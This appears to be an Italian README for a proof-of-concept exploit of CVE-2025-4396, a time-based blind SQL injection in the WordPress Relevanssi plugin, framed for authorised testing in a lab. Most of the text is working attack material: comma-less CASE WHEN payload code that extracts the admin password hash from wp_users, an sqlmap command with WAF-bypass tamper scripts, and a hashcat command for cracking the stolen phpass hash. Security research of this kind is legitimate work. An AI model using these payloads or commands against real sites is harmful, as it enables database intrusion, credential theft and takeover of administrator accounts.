
CVE-2025-4396 - WordPress Relevanssi SQL Injection Blind Basata sul Tempo
Disclaimer: Questo repository è destinato esclusivamente a test di penetrazione autorizzati, ricerca sulla sicurezza e scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale e non etico.
Un exploit proof-of-concept per una vulnerabilità di SQL injection blind basata sul tempo nel plugin WordPress Relevanssi 4.24.4. Questa implementazione affronta specificamente ambienti rafforzati dove:
SUBSTR(str, pos, len) e IF(cond, true, false)SLEEP() da parte di MySQL prima di valutare l'espressione completa, producendo falsi positiviIn alcuni ambienti (ad esempio, il lab DVWP), i payload standard di SQL injection falliscono per due ragioni principali:
| Problema | Effetto |
|---|---|
| Rimozione virgole | Rompe SUBSTR(str, pos, len) e IF(cond, true, false) |
SLEEP() greedy | MySQL valuta sleep prima dell'espressione booleana completa, causando falsi positivi |
Entrambi i problemi richiedono soluzioni mirate — coperte dagli approcci manuali e automatici di seguito.
asy.py)Uno script Python asincrono che fornisce un'estrazione chirurgica carattere per carattere. Evita il sovraccarico degli strumenti automatici e aggira il filtraggio delle virgole tramite la logica CASE WHEN.
| Funzionalità | Implementazione |
|---|---|
| I/O asincrono | aiohttp per richieste non bloccanti |
| Payload senza virgole | Sintassi SUBSTR(str FROM pos FOR len) |
| Logica non greedy | CASE WHEN garantisce che SLEEP() venga eseguito solo su TRUE |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Perché CASE WHEN invece di IF()?
IF() usa virgole ed è soggetto a valutazione greedy. CASE WHEN valuta pigramente, garantendo che SLEEP() venga attivato solo quando la condizione è genuinamente TRUE.
SQLMap può automatizzare la scoperta in questo ambiente utilizzando specifici script tamper e flag.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| Flag | Scopo |
|---|---|
--tamper=commalessmid,if2case | Riscrive i payload in SQL senza virgole; sostituisce IF() con CASE WHEN |
--tamper=between | Sostituisce i confronti > con BETWEEN per bypassare ulteriormente il WAF |
--technique=T | Limita alla sola injection blind basata sul tempo |
--no-cast | Impedisce i wrapper CAST() che introducono virgole vietate |
--threads=1 | Garantisce la precisione dei tempi — richieste concorrenti causano sovrapposizione dei ritardi di sleep |
Nota su
--threads=1: Questo è essenziale per un'estrazione affidabile. Più thread causano la sovrapposizione dei ritardi di sleep, corrompendo i tempi della ricerca binaria e producendo output distorto.
| Campo | Valore |
|---|---|
| Target | Tabella wp_users di WordPress |
| Utente | admin (ID = 1) |
| Hash estratto | REDACTED |
| Algoritmo | phpass (hashing password standard di WordPress) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 ha come target gli hash phpass-a 0 è un attacco dizionario diretto usando rockyou.txt